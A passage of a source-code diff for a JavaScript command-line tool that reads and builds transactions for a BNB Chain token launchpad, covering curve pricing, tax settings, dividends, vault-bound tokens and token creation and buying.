(2.0 金库版 entries included) and the hints its errors get. */ +export const _vaultTest = { PAD_ABI, HINTS } + +export function v3Ctx(testnet) { + const net = V3_NETS[testnet ? 'testnet' : 'mainnet'] + if (!net.pad) throw new Error(NOT_ON_MAINNET) + const client = createPublicClient({ chain: net.chain, transport: rpcTransport(net.rpcs) }) + return { ...net, client, read: (address, abi, functionName, args = []) => client.readContract({ address, abi, functionName, args }) } +} + +const symbolOf = async (ctx, token) => { try { return await ctx.read(token, ERC20_ABI, 'symbol') } catch { return null } } +const pct = (bps) => Number(bps) / 100 +const bnbOf = (wei) => Number(wei / 10n ** 15n) / 1000 +/** + * The graduation target in words. A non-WBNB quote fixes the amount in the quote at create (`inQuote`, e.g. "1234.5 + * USDT"): the BNB figure is what that was worth then, a nominal target whose BNB worth moves with the quote's price. + */ +const gradLine = (bnb, inQuote) => (inQuote + ? `the curve graduates into PancakeSwap once ${inQuote} is raised: ${bnb} BNB priced in the quote at create, fixed in the quote, so what it is worth in BNB moves with the quote's price (market cap at graduation ≈ 5× the target)` + : `the curve graduates into PancakeSwap once ${bnb} BNB is raised (market cap then ≈ ${bnb * 5} BNB)`) +const VIRTUAL_TOKEN = 1_066_666_666_666_666_666_666_666_667n +const ceilDiv = (a, b) => (a + b - 1n) / b + +/** Revert name (+ BadTaxConfig reason) of a failed call, or null when it was the RPC. */ +const revertOf = (e) => revertIn(e, [PAD_ABI, CREATOR_FEE_ABI, GRAD_TARGET_ABI, TAX_ROUTER_ABI, GANG_ROUTER_ABI, MERGED_ERRORS_ABI], { ...MERGED_HINTS, ...ROUTER_HINTS, ...HINTS }) + +/** eth_call `data` from `from`: { result } when it passes, { failed } with the revert (or RPC error) otherwise. */ +async function simulate(ctx, from, to, abi, functionName, args, value = 0n) { + try { + const { result } = await ctx.client.simulateContract({ account: from, address: to, abi, functionName, args, value }) + return { result } + } catch (e) { + const r = revertOf(e) + return { failed: r ? { reverted: true, ...r } : { reverted: false, error: e.shortMessage || e.message.split('\n')[0] } } + } +} + +/** + * Where the tax split / owed pushes (router) and the recipient whitelist (registry) live: one TaxHandlerV3 since the + * contract merge, so both are taxHandler(). 旧部署兼容,第 6 套上线后可删: older pads keep them on router() / + * recipientRegistry() (TaxRouterV3 / RecipientRegistry). + */ +async function taxContracts(ctx) { + if (!ctx._tax) { + ctx._tax = (async () => { + const handler = await ctx.read(ctx.pad, PAD_ABI, 'taxHandler') + const [router, registry] = await Promise.all(['router', 'recipientRegistry'] + .map((fn) => ctx.read(ctx.pad, PAD_ABI, fn).catch(() => handler))) + return { handler, router, registry } + })() + } + return ctx._tax +} + +/** The call hit a contract without this function: a bare revert (no error data) or an empty return. */ +function noSuchFunction(e) { + if (e?.walk?.((x) => x?.name === 'ContractFunctionZeroDataError')) return true + const r = e?.walk?.((x) => x?.name === 'ContractFunctionRevertedError') + return !!r && !r.data && (!r.raw || r.raw === '0x') +} + +/** The whitelist label of a recipient; null when unlisted or the whitelist keeps no entries() (labels only in events). */ +async function labelOf(ctx, registry, recipient) { + try { return (await ctx.read(registry, REGISTRY_ABI, 'entries', [recipient]))[2] || null } catch { return null } +} + +const vaultOfToken = tokenVaultOf + +/** The token's vault and what it means for holders (2.0 金库版, or a 3.0 token created with --vault); null without one. */ +async function vaultView(ctx, token, c, net = '') { + let address + try { address = await vaultOfToken(ctx, token) } catch (e) { + return { error: `could not read the token's vault (${e.shortMessage || e.message.split('\n')[0]})`, retry: `gang info --token ${token}${net}` } + } + if (!address) return null + return { + address, padGen: ctx.gen, bond: `none: ${VAULT_NO_BOND}`, + note: c.graduated + ? 'graduated: a plain token now, the vault moves it like any other contract' + : 'until graduation the token moves only through the pad: this vault locks a holder\'s tokens (counted in the holder\'s 1% cap, see gang status → lockedInVault) and releases them, for the wallet that sends the tx and holds an Agent ID', + } +} + +/** A token's curve and tax as the pad stores them, plus the recipient's whitelist label. null when not a V3 token. */ +export async function curveOf(ctx, token) { + const c = await ctx.read(ctx.pad, PAD_ABI, 'curves', [token]) + const [creator, quote, realQuote, sold, gradAmt, virtualQuote, graduated, buyTaxBps, sellTaxBps, dividendBps, pair] = c + if (creator === zeroAddress) return null + // the recipient is not in curves(): it lives on the tax handler's route, read back through taxConfigOf + const [{ handler, router, registry }, remaining, tax, targetBnb] = await Promise.all([ + taxContracts(ctx), + ctx.read(ctx.pad, PAD_ABI, 'graduationRemaining', [token]), ctx.read(ctx.pad, PAD_ABI, 'taxConfigOf', [token]), + // the target in BNB raised (2.0: the creator's pick); graduationAt below is the same target in the quote + gradTargetBnbOf(ctx, token).catch(() => null), + ]) + const recipient = tax[3] === zeroAddress ? null : tax[3] + // §22: the creator may be its own recipient without a listing; say so, the platform did not review it + const recipientIsCreator = !!recipient && recipient.toLowerCase() === creator.toLowerCase() + let label = null + if (recipient && !recipientIsCreator) label = await labelOf(ctx, registry, recipient) + const owed = await ctx.read(router, TAX_ROUTER_ABI, 'owedOf', [token]) + // graduation zeroes realQuote (it went into the pool): a graduated token is priced from the pair reserves + let price = ((virtualQuote + realQuote) * 10n ** 18n) / (VIRTUAL_TOKEN - sold) + let reserveTokenRaw = 0n + if (graduated && pair !== zeroAddress) { + const [[r0, r1], t0] = await Promise.all([ctx.read(pair, PAIR_ABI, 'getReserves'), ctx.read(pair, PAIR_ABI, 'token0')]) + const [rT, rQ] = t0.toLowerCase() === token.toLowerCase() ? [r0, r1] : [r1, r0] + price = rT > 0n ? (rQ * 10n ** 18n) / rT : 0n + reserveTokenRaw = rT + } + return { + token, creator, quote, quoteSymbol: await symbolOf(ctx, quote), taxHandler: handler, router, registry, + graduated, pair: pair === zeroAddress ? null : pair, + buyTaxPct: pct(buyTaxBps), sellTaxPct: pct(sellTaxBps), dividendPct: pct(dividendBps), recipient, recipientLabel: label, + ...(recipientIsCreator && { recipientIsCreator: true, recipientNote: 'the recipient is the creator itself, not reviewed by the platform' }), + raised: await units(ctx, quote, graduated ? gradAmt : realQuote), graduationAt: await units(ctx, quote, gradAmt), + graduationTargetBnb: targetBnb, toGraduation: await units(ctx, quote, remaining), + progressPct: graduated ? 100 : gradAmt > 0n ? Number((realQuote * 10_000n) / gradAmt) / 100 : 0, + priceQuote: await units(ctx, quote, price), priceFrom: graduated ? 'pool' : 'curve', priceRaw: price, + owedToRecipient: await units(ctx, quote, owed), owedRaw: owed, reserveTokenRaw, curveRaw: { realQuote, sold, virtualQuote, remaining }, + } +} + +/** + * What a curve buy of `quoteIn` that gets `tokensOut` spends, the fee included, as CurveLogic trims it: first to the + * token's own graduation amount (what is still to raise), then to the wallet cap (`room`, _quoteInFor), each followed by + * _recomputeFee. { spent, cut: null | 'graduation' | 'wallet cap' }: the rest of quoteIn is refunded. + */ +async function spentFor(ctx, c, quoteIn, tokensOut, room) { + const { realQuote, sold, virtualQuote, remaining } = c.curveRaw + const feeBps = BigInt(Math.round((await feesOf(ctx)).curveFeePct * 100)) + const gross = (net) => { const g = ceilDiv(net * 10_000n, 10_000n - feeBps); return g < quoteIn ? g : quoteIn } + if (room !== undefined && tokensOut === room) { + const net = ceilDiv(virtualQuote * VIRTUAL_TOKEN, VIRTUAL_TOKEN - sold - tokensOut) - (virtualQuote + realQuote) + return { spent: gross(net), cut: 'wallet cap' } + } + if (quoteIn - (quoteIn * feeBps) / 10_000n > remaining) return { spent: gross(remaining), cut: 'graduation' } + return { spent: quoteIn, cut: null } +} + +/** `token` funding for `need` toward the pad (wrap BNB, then approve): a step object, or null when ready. */ +const fundingStep = (ctx, me, token, need, sym, approveStep, rawOnly, summarize) => + fund(ctx, { me, token, need, spender: ctx.pad, sym, approveStep }, rawOnly, summarize) + +/** The pad's fee constants: the curve fee (the only charge on a curve trade), the platform's part of every pool tax (bps of volume). */ +async function feesOf(ctx) { + ctx.fees ??= Promise.all([ctx.read(ctx.pad, PAD_ABI, 'PROTOCOL_FEE_BPS'), ctx.read(ctx.pad, PAD_ABI, 'PLATFORM_TAX_BPS')]) + .then(([curve, platform]) => ({ curveFeePct: pct(curve), platformTaxPct: pct(platform) })) + return ctx.fees +} + +const addrArg = (opt, fail, name, what) => { + const v = opt(name) + if (!isAddress(v ?? '')) fail(`--${name} must be ${what} (0x…)`, { got: v ?? null }) + return v +} +const parseSlippage = (fail, raw) => parseNum(fail, 'slippage', raw, 0, 50) +const minOf = (x, slippagePct) => (x * BigInt(Math.round((100 - slippagePct) * 100))) / 10_000n + +const SUBS = ['list', 'info', 'status', 'create', 'buy', 'sell', 'claim', 'income', 'release', 'tx'] +const USAGE = 'usage: gang v3 [--testnet] — see gang help' + +/** + * Entry for `gang v3 `. io: { opt, flag, out, fail, summarize, resolveLogo, checkMeta, resolveMeta, notes } from + * index.js (summarize = summarizePreview, so previews look like every other command's; notes = padNotes: --note / --follow). + */ +export async function runV3(sub, { opt, flag, out, fail, summarize, resolveLogo, checkMeta, resolveMeta, notes }) { + if (!SUBS.includes(sub)) return fail(USAGE, { got: sub ?? null }) + const testnet = flag('testnet') + const net = testnet ? ' --testnet' : '' + const rawOnly = flag('calldata') + + if (sub === 'list' || sub === 'income') { + const recipient = sub === 'income' ? addrArg(opt, fail, 'recipient', 'the tax recipient address') : null + const status = opt('status', 'all') + if (sub === 'list' && !['curve', 'graduated', 'all'].includes(status)) fail('--status must be curve, graduated or all') + const path = recipient ? `/v3/recipients/${recipient.toLowerCase()}?limit=20` : `/v3/tokens?status=${status}&limit=30` + const r = await fetch(`${API}${path}`, { headers: { 'user-agent': UA }, signal: AbortSignal.timeout(10_000) }) + .then((x) => (x.ok ? x.json() : { error: x.status })).catch((e) => ({ error: e.message })) + if (r.error) return out({ success: false, error: `gang.fun V3 data unavailable (${r.error})`, hint: `use gang info --token ${net} for one token (reads the chain)` }) + // the quote's own decimals from gang.fun (18 when an older server does not send them) + const f = (x, d) => (x == null ? null : formatUnits(BigInt(x), d ?? 18)) + if (recipient) { + return out({ + success: true, recipient, label: r.label, whitelist: r.whitelist ?? (r.listed ? 'listed' : null), chainId: r.chainId, + totals: (r.totals || []).map((x) => ({ quote: x.symbol || x.quote, paid: f(x.paid, x.decimals) })), + tokens: (r.tokens || []).map((x) => ({ token: x.token, symbol: x.symbol, quote: x.quoteSymbol, paid: f(x.paid, x.quoteDecimals), payments: x.payments, lastPaidAt: x.lastPaidAt })), + recentPayments: (r.payments?.items || []).map((x) => ({ token: x.token, amount: f(x.amount, x.decimals), ts: x.ts, tx: x.tx })), + }) + } + return out({ success: true, status, items: (r.items || []).map((x) => ({ + token: x.address, symbol: x.symbol, buyTaxPct: pct(x.buyTaxBps), sellTaxPct: pct(x.sellTaxBps), dividendPct: pct(x.dividendBps), + recipient: x.recipient, recipientLabel: x.recipientLabel, quote: x.quoteSymbol, progressPct: x.progressPct, graduated: x.graduated, + // the target per token (2.0: the creator's pick), never a fixed 15 BNB: in the quote from gradAmt, in BNB when gang.fun sends it + ...(x.gradAmt != null && { graduationAt: f(x.gradAmt, x.quoteDecimals) }), + ...(x.gradTargetBnb != null && { graduationTargetBnb: Number(x.gradTargetBnb) }), + chainId: x.chainId, link: `https://gang.fun/token/${x.address}`, + })) }) + } + + let ctx + try { ctx = v3Ctx(testnet) } catch (e) { return fail(e.message) } + // a token is served by the GangLaunchpad generation that has it (its pad, router, GangBond); a create goes to the newest + if (sub !== 'create' && sub !== 'tx' && (await atTokenPad(ctx, opt('token'))) === null) return fail(KIND_UNREAD.error, { token: opt('token'), retry: KIND_UNREAD.retry }) + // not a curve on this pad: on the merged pad it may be a 打新 token (kindOf), so point at `gang fair` + const notV3 = async (token) => { + const { error, kind } = await notThisKind(ctx, token, 'v3', net) + return fail(error, { token, chainId: ctx.chainId, ...(kind && { kind }) }) + } + + if (sub === 'info') { + const token = addrArg(opt, fail, 'token', 'a V3 token address') + const c = await curveOf(ctx, token) + if (!c) return notV3(token) + const { owedRaw: _raw, priceRaw: _p, reserveTokenRaw: rT, curveRaw: _cv, ...pub } = c + // in the pool the tax is held as tokens and sold in small chunks under a per-block budget + const swapBack = c.graduated && c.pair ? await swapBackState(ctx, c.taxHandler, token, rT) : null + const fees = await feesOf(ctx) + const taxNote = c.buyTaxPct > 0 || c.sellTaxPct > 0 + ? `buy ${c.buyTaxPct}% / sell ${c.sellTaxPct}% tax only in the PancakeSwap pool after graduation (${fees.platformTaxPct}% of volume to the platform, then ${c.dividendPct}% of the rest to holders, the remainder to the recipient); curve trades pay only the ${fees.curveFeePct}% fee, no tax` + : `untaxed; curve trades pay the ${fees.curveFeePct}% fee` + // a recipient that is the dev's buy-back splitter: its ratio and what waits to be bought back + const buyback = c.recipient && !c.recipientIsCreator ? await splitterOf(ctx.read, c.recipient) : null + // or the dev's split module (split-v1): its fixed payees and shares, what waits to be split + const split = c.recipient && !c.recipientIsCreator && !buyback + ? await splitOf(ctx.read, c.recipient, { wbnb: ctx.wbnb, extraAssets: [c.quote], ref: `--token ${token}${net}` }) : null + // or the dev's LP splitter (lp-burn-v1): its ratio, what is set aside for the pool, the next chunk + const lp = c.recipient && !c.recipientIsCreator && !buyback && !split ? await lpOf(ctx.read, c.recipient, { pad: ctx.pad }) : null + // or the dev's combined recipient (combo-v1): fixed buy-back / LP ratios and payees, the set-aside parts, the next chunk + const comboRef = `--token ${token}${net}` + const combo = c.recipient && !c.recipientIsCreator && !buyback && !split && !lp + ? await comboOf(ctx.read, c.recipient, { wbnb: ctx.wbnb, pad: ctx.pad, extraAssets: [c.quote], ref: comboRef }) : null + const comboWarning = combo ? decoyWarning(combo, token, c.quote, comboRef) : null + const lpWarn = lp && lp.token && lp.token.toLowerCase() !== token.toLowerCase() + ? { warning: `this token pays its tax to the LP splitter, but it is bound to another token (${lp.token}): the liquidity goes to that token's pair` } : null + const splitWarn = split && split.token && split.token.toLowerCase() !== token.toLowerCase() + ? { warning: `this token pays its tax to the split module, but the module is bound to another token (${split.token}): the keeper never splits this token's tax (${c.quote}); it is split only by hand (gang split distribute --token ${token}${net} --asset ${c.quote})` } : null + // 2.0: the creator's part of the curve fee, waiting on the pad + const gen = await curveCreatorFee(ctx, token, c, net) + const vault = await vaultView(ctx, token, c, net) + // 3.0: the rule set the token was created under (fixed for good; an upgrade adds rules for new tokens only) + const tokenVersion = ctx.gen === PAD3_GEN ? await ctx.read(ctx.pad, PAD_ABI, 'tokenVersionOf', [token]).then(Number).catch(() => null) : null + const nonWbnb = c.quote.toLowerCase() !== String(ctx.wbnb).toLowerCase() + const graduationNote = c.graduationTargetBnb != null && !c.graduated + ? gradLine(c.graduationTargetBnb, nonWbnb ? `${c.graduationAt} ${c.quoteSymbol || 'of the quote'}` : null) : null + return out({ + success: true, chainId: Number(ctx.chainId), ...fees, ...pub, ...gen, ...(tokenVersion != null && { tokenVersion }), ...(vault && { vault }), ...(graduationNote && { graduationNote }), taxNote, ...(swapBack && { swapBack }), ...(buyback && { buyback }), + ...(split && { split: { ...split, ...splitWarn } }), ...(lp && { lp: { ...lp, ...lpWarn } }), + ...(combo && { combo: { ...combo, ...(comboWarning && { warning: comboWarning }) } }), + }) + } + + if (sub === 'status') { + const token = addrArg(opt, fail, 'token', 'a V3 token address') + const c = await curveOf(ctx, token) + if (!c) return notV3(token) + const slippage = parseSlippage(fail, opt('slippage', '1')) + const me = walletFor(ctx, opt('from')) + const [vault, bal] = await Promise.all([ctx.read(ctx.pad, PAD_ABI, 'dividendVault'), ctx.read(token, ERC20_ABI, 'balanceOf', [me])]) + const { claimableRaw: _r, ...dividend } = c.dividendPct > 0 ? await dividendOf(ctx, vault, token, me, c.quote, c.priceRaw) : {} + // graduated: what selling the whole balance into the pool pays now (sell tax and the chunk sold first included) + const q = c.graduated && c.pair && bal > 0n ? await poolSellQuote(ctx, c.taxHandler, token, bal) : null + // the creator's own view also shows its creator fee (2.0) + const { creatorFee } = me.toLowerCase() === c.creator.toLowerCase() ? await curveCreatorFee(ctx, token, c, net) : {} + // a token with a vault (2.0 金库版, 3.0 --vault), before graduation: what this wallet has in it, counted in its 1% cap + const locked = !c.graduated && (await vaultOfToken(ctx, token).catch(() => null)) ? await ctx.read(ctx.pad, PAD_ABI, 'lockedOf', [token, me]) : null + return out({ + success: true, chainId: Number(ctx.chainId), wallet: me, token, quote: c.quoteSymbol, graduated: c.graduated, + balance: formatUnits(bal, 18), ...(locked !== null && { lockedInVault: formatUnits(locked, 18) }), dividendPct: c.dividendPct, ...(creatorFee && { creatorFee }), + graduationTargetBnb: c.graduationTargetBnb, graduationAt: c.graduationAt, progressPct: c.progressPct, + ...(q && { + poolSellAll: { + expectOut: await units(ctx, c.quote, q.out), minOut: await units(ctx, c.quote, minOf(q.out, slippage)), slippagePct: slippage, + quotedWith: q.quotedWith, hint: POOL_SELL_HINT, + }, + }), + ...(c.dividendPct > 0 ? { dividend } : { note: 'this token pays no dividend (dividend 0%)' }), + }) + } + + if (sub === 'claim') { + const token = addrArg(opt, fail, 'token', 'a V3 token address') + const c = await curveOf(ctx, token) + if (!c) return notV3(token) + if (!(c.dividendPct > 0)) return fail('this token pays no dividend (dividend 0%)', { token }) + const me = walletFor(ctx, opt('from')) + const vault = await ctx.read(ctx.pad, PAD_ABI, 'dividendVault') + const d = await dividendOf(ctx, vault, token, me, c.quote, c.priceRaw) + if (d.claimableRaw === 0n) { + return fail('nothing to claim yet', { + ...(d.creditedUnsoldTokens && Number(d.creditedUnsoldTokens) > 0 && { creditedUnsoldEstimate: d.creditedUnsoldEstimate, note: d.note }), + hint: `gang status --token ${token}${testnet ? ' --testnet' : ''}`, + }) + } + const sim = await simulate(ctx, me, vault, VAULT_ABI, 'claim', [token]) + if (sim.failed) return out({ success: false, step: 'claim', ...sim.failed }) + return out(step(ctx, { from: me, to: vault, data: encodeFunctionData({ abi: VAULT_ABI, functionName: 'claim', args: [token] }) }, { + step: 'claim', chainId: Number(ctx.chainId), token, amount: d.claimable, quote: c.quoteSymbol, + ...(d.creditedUnsoldEstimate && Number(d.creditedUnsoldTokens) > 0 && { stillCreditedUnsold: d.creditedUnsoldEstimate }), + }, rawOnly, summarize)) + } + + if (sub === 'create') { + const name = opt('name'), symbol = opt('symbol') + if (!name || !symbol) fail('--name and --symbol are required') + checkMeta() // a bad --website / --twitter / --description fails here, before any chain read or upload + // no --buy-tax / --sell-tax (or both 0): an untaxed token (tax all 0, no dividend, no recipient; the pad never hooks it) + if (flag('buy-tax') !== flag('sell-tax')) { + fail('give both --buy-tax and --sell-tax (each 1–5, in %; e.g. --buy-tax 2 --sell-tax 2), or neither for an untaxed token') + } + const isZero = (f) => /^0+(\.0+)?$/.test(opt(f) ?? '') + const zeroTax = isZero('buy-tax') && isZero('sell-tax') + const taxed = flag('buy-tax') && !zeroTax + if (!taxed) { + const f = ['dividend', 'recipient'].find((x) => flag(x)) + if (f) fail(`--${f} only applies to a taxed token: add --buy-tax and --sell-tax (each 1–5, in %), or leave --${f} out for an untaxed token`) + } + const taxOf = (f) => { + const n = Number(opt(f)) + if (!(n >= 1 && n <= 5)) fail(`--${f} must be a number between 1 and 5 (in %); for an untaxed token leave out both tax flags (or give both as 0)`, { got: opt(f) ?? null }) + return n + } + // --vault: the listed vault the token is bound to for good (createWithVault): on the create target when it serves the + // vault mode (3.0 once upgraded), else on the 2.0 金库版 pad + const vault = flag('vault') ? addrArg(opt, fail, 'vault', 'the vault gang listed for your token') : null + // --grad: the graduation target in BNB raised, one of the pad's GRAD_BNB_TIERS (2.0); left out: the pad's default + const grad = flag('grad') ? Number(opt('grad')) : null + if (grad !== null && !(grad > 0)) fail('--grad must be the graduation target in BNB raised: 6, 9, 12 or 15', { got: opt('grad') ?? null }) + const buyTax = taxed ? taxOf('buy-tax') : 0 + const sellTax = taxed ? taxOf('sell-tax') : 0 + const dividend = taxed ? parseNum(fail, 'dividend', opt('dividend', '0'), 0, 100) : 0 + const me = walletFor(ctx, opt('from')) + if (vault) { + let here + try { here = await vaultModeOf(ctx) } catch (e) { + return fail(`could not read whether GangLaunchpad ${ctx.gen ?? ctx.pad} serves --vault (RPC error)`, { detail: e.shortMessage || e.message.split('\n')[0], retry: 'same command again' }) + } + if (!here) { + // the vault pad, its own router, tax handler and fees + const vg = vaultGenOf(ctx.gens ?? []) + if (!vg) fail(`--vault: GangLaunchpad ${ctx.gen ?? ctx.pad} has no vault mode yet and this CLI version knows no 2.0 金库版 pad on ${testnet ? 'the BSC testnet' : 'BSC mainnet'}`) + Object.assign(ctx, genFields(vg)) + delete ctx._tax + delete ctx.fees + } + // asked before any upload: the pad would refuse the create anyway (NotVault / NotVaultCreator) + const [listed, named] = await Promise.all([ctx.read(ctx.pad, PAD_ABI, 'isVault', [vault]), ctx.read(ctx.pad, PAD_ABI, 'vaultCreator', [vault])]) + if (!listed) fail(HINTS.NotVault, { vault, pad: ctx.pad }) + if (named.toLowerCase() !== String(me).toLowerCase()) { + fail(named === zeroAddress + ? 'no wallet is named to create a token on this vault now (each named wallet creates one token, and the create uses it up): ask gang to name yours' + : HINTS.NotVaultCreator, { vault, wallet: me, ...(named !== zeroAddress && { namedWallet: named }) }) + } + } else if (ctx.gen === VAULT_GEN) { + fail(VAULT_PAD_ONLY, { pad: ctx.pad }) + } + // everything to holders needs no recipient; otherwise the recipient gets the rest: --recipient (a whitelisted + // partner, or yourself), else the creator itself + const recipient = !taxed || (dividend === 100 && !flag('recipient')) ? zeroAddress + : flag('recipient') ? addrArg(opt, fail, 'recipient', 'the tax recipient: your own address, or a whitelisted partner') : me + const quote = flag('quote') ? opt('quote') : ctx.wbnb + const refPool = flag('ref-pool') ? opt('ref-pool') : (defaultRefPool(ctx.chainId, quote) ?? zeroAddress) + if (!isAddress(quote ?? '') || !isAddress(refPool ?? '')) fail('--quote / --ref-pool must be 0x addresses') + const tax = { buyTaxBps: Math.round(buyTax * 100), sellTaxBps: Math.round(sellTax * 100), dividendBps: Math.round(dividend * 100), recipient } + // --grad first: a pad without the pick (1.0) refuses it whatever else the create would say + const tiers = await gradTiersOf(ctx) + if (grad !== null && !tiers) { + fail(`--grad: this GangLaunchpad${ctx.gen ? ` (${ctx.gen})` : ''} has no graduation target to pick; every curve graduates at ${bnbOf(await ctx.read(ctx.pad, GRAD_TARGET_ABI, 'TARGET_GRAD_BNB'))} BNB raised: leave --grad out`) + } + if (grad !== null && !tiers.includes(grad)) fail(`--grad must be one of ${tiers.join(' / ')} (BNB raised)`, { got: opt('grad') }) + // the recipient may be the creator itself: checkTaxConfigFor knows who creates (a pad without it: checkTaxConfig) + const [ok, reason] = await ctx.read(ctx.pad, PAD_ABI, 'checkTaxConfigFor', [me, tax]).catch((e) => { + if (!noSuchFunction(e)) throw e + return ctx.read(ctx.pad, PAD_ABI, 'checkTaxConfig', [tax]) + }) + if (!ok) fail(`tax setting refused: ${reason}`, { hint: HINTS.BadTaxConfig, tax: { buyTax, sellTax, dividend, recipient } }) + if (!(await ctx.read(ctx.pad, PAD_ABI, 'isAgent', [me]))) fail('this wallet holds no Agent ID; V3 create is Agent-only', { wallet: me }) + // the target: --grad (2.0, createWithGradTarget) or the pad's default (create: 9 BNB on 2.0, 15 on 1.0) + const targetBnb = grad ?? bnbOf(await ctx.read(ctx.pad, GRAD_TARGET_ABI, 'TARGET_GRAD_BNB')) + // the target in the quote: WBNB as is; a fixed rate in QuoteRegistry; else --ref-pool prices it. On 2.0 it is read + // with graduationAmountFor for the very target the create takes, so GradAmtTooSmall / QuoteAmountTooLarge show here + let gradAmt + try { + gradAmt = tiers ? await ctx.read(ctx.pad, GRAD_TARGET_ABI, 'graduationAmountFor', [quote, refPool, parseUnits(String(targetBnb), 18)]) + : await ctx.read(ctx.pad, PAD_ABI, 'graduationAmountOf', [quote, refPool]) + } catch (e) { + return fail('cannot price the graduation target in this quote', revertOf(e) || { detail: e.shortMessage || e.message }) + } + // createWithVault always takes the target (the pad's default when --grad is left out) + const fn = vault ? 'createWithVault' : grad !== null ? 'createWithGradTarget' : 'create' + const argsOf = (logoURI, metaURI) => [name, symbol, logoURI, metaURI, quote, refPool, tax, + ...(vault ? [parseUnits(String(targetBnb), 18), vault] : grad !== null ? [parseUnits(String(grad), 18)] : [])] + const createData = (logoURI, metaURI) => encodeFunctionData({ abi: PAD_ABI, functionName: fn, args: argsOf(logoURI, metaURI) }) + // the logo / metadata strings never decide a revert: dry-run without them, so a create that would fail uploads nothing + const dry = await simulate(ctx, me, ctx.pad, PAD_ABI, fn, argsOf('', '')) + if (dry.failed) return out({ success: false, step: 'create', ...dry.failed }) + const logo = await resolveLogo() + const meta = await resolveMeta({ name, symbol, logoURI: logo.logoURI }) + let label = null + const selfRecipient = recipient !== zeroAddress && recipient.toLowerCase() === String(me).toLowerCase() + if (recipient !== zeroAddress && !selfRecipient) { + label = await labelOf(ctx, (await taxContracts(ctx)).registry, recipient) + } + const rest = 100 - dividend + const fees = await feesOf(ctx) + const creatorFee = await createNote(ctx, net) + return out(notes.step(ctx, { from: me, to: ctx.pad, data: createData(logo.logoURI, meta.metaURI) }, { + step: 'create', chainId: Number(ctx.chainId), name, symbol, logoURI: logo.logoURI, ...(logo.uploaded && { uploaded: true }), + metaURI: meta.metaURI, metadata: meta.metadata, + quote: (await symbolOf(ctx, quote)) || quote, graduationTargetBnb: targetBnb, graduationAt: await units(ctx, quote, gradAmt), + graduation: `${gradLine(targetBnb, quote.toLowerCase() === String(ctx.wbnb).toLowerCase() ? null : `${await units(ctx, quote, gradAmt)} ${(await symbolOf(ctx, quote)) || 'of the quote'}`)}${tiers ? `; ${grad !== null ? 'picked with --grad' : 'the default'}, --grad picks ${tiers.join(' / ')}` : ''}`, + ...(refPool !== zeroAddress && quote.toLowerCase() !== String(ctx.wbnb).toLowerCase() && { refPool }), + buyTaxPct: buyTax, sellTaxPct: sellTax, dividendPct: dividend, + recipient: recipient === zeroAddress ? null : recipient, recipientLabel: selfRecipient ? 'you (the creator)' : label, tokenIfNext: dry.result, + split: taxed + ? `of each ${buyTax}% buy / ${sellTax}% sell tax in the PancakeSwap pool (after graduation; the curve charges no tax): ${fees.platformTaxPct}% of volume to the platform, then ${dividend}% of the rest to holders, ${rest}% to the recipient in the quote` + + (dividend > 0 ? '; if no holder has 10,000+ tokens when a tax is paid, the holders\' part goes to the recipient too' : '') + : 'untaxed: no tax in the PancakeSwap pool after graduation, no dividend, no recipient', + ...(creatorFee && { creatorFee }), + ...(vault && { + padGen: ctx.gen, pad: ctx.pad, vault, + vaultNote: 'the token is bound to this vault for good. Until graduation the token moves only through the pad: the vault locks a holder\'s tokens (counted in that holder\'s 1% cap) and releases them through the pad, for the holder that sends the tx and holds an Agent ID; after graduation it is a plain token. This create uses up the wallet\'s naming for the vault: one token per naming. A vault-bound token takes no GangBond (gang bond post refuses it): a lock moves tokens out of the creator\'s wallet, which would forfeit a bond', + }), + note: `${taxed ? 'tax rates and recipient are' : 'untaxed is'} fixed at create. Curve trades pay only the ${fees.curveFeePct}% fee, no tax${taxed ? ': the tax starts in the pool after graduation' : ''}. tokenIfNext changes if another create lands first: the real address is the Created event from \`gang tx --hash …\`.`, + }, 'create')) + } + + if (sub === 'buy') { + const token = addrArg(opt, fail, 'token', 'a V3 token address') + const c = await curveOf(ctx, token) + if (!c) return notV3(token) + if (c.graduated) { + // graduated: buy in the PancakeSwap pool through GangRouter (the buy tax applies; no Agent gate, no wallet cap) + if (!c.pair) return fail('the pad marks this token graduated but has no PancakeSwap pair on record: nothing to trade it on', { token }) + if (notes.following) fail('--follow only counts on curve buys before graduation; this token trades on PancakeSwap now', { pair: c.pair }) + if (!flag('amount') && !flag('bnb')) fail('--amount required') + const raw = parseAmount(fail, flag('amount') ? 'amount' : 'bnb', opt('amount') ?? opt('bnb')) + return out(await poolTrade(ctx, { + side: 'buy', token, quote: c.quote, me: walletFor(ctx, opt('from')), amount: raw, + slippage: parseSlippage(fail, opt('slippage', '1')), buyTaxBps: Math.round(c.buyTaxPct * 100), + sellTaxBps: Math.round(c.sellTaxPct * 100), handler: c.taxHandler, payBnb: poolPayBnb(ctx, c.quote, flag), + base: { kind: 'v3', pair: c.pair, ...notes.pool }, + }, { rawOnly, summarize, revertOf })) + } + const me = walletFor(ctx, opt('from')) + if (!(await ctx.read(ctx.pad, PAD_ABI, 'isAgent', [me]))) fail('this wallet holds no Agent ID; curve trades are Agent-only', { wallet: me }) + const room = await ctx.read(ctx.pad, PAD_ABI, 'walletRoom', [token, me]) + if (room === 0n) fail(HINTS.WalletCapReached) + if (!flag('amount') && !flag('bnb')) fail('--amount required (the 1% curve fee included; no tax on the curve)') + const raw = parseAmount(fail, flag('amount') ? 'amount' : 'bnb', opt('amount') ?? opt('bnb')) + const quoteIn = parseUnits(raw, await decimalsOf(ctx, c.quote)) + const slippage = parseSlippage(fail, opt('slippage', '1')) + // asked from gang.fun before any wrap / approve round, so a follow that can't count fails first + const follow = await notes.follow(token, me) + const priced = async (tokensOut) => follow && notes.priced(follow, token, (await spentFor(ctx, c, quoteIn, tokensOut, room)).spent, await decimalsOf(ctx, c.quote)) + // the pad trims a buy past the token's own graduation amount or the wallet cap and refunds the rest: say what it spends + const cutOf = async (tokensOut, refundAs) => { + const { spent, cut } = await spentFor(ctx, c, quoteIn, tokensOut, room) + if (!cut) return {} + const [s, r] = await Promise.all([units(ctx, c.quote, spent), units(ctx, c.quote, quoteIn - spent)]) + const why = cut === 'graduation' + ? `only ${c.toGraduation} ${c.quoteSymbol} is left to raise before this token graduates at ${c.graduationAt} ${c.quoteSymbol}` + : `the 1% wallet cap leaves this wallet room for ${formatUnits(tokensOut, 18)} more tokens only` + return { spent: s, refund: r, cutBy: cut, cutNote: `${why}: the buy spends ${s} ${c.quoteSymbol} (fee included) and refunds ${r} ${refundAs}` } + } + const extra = async (tokensOut, minOut, refundAs = c.quoteSymbol) => ({ + step: 'buy', chainId: 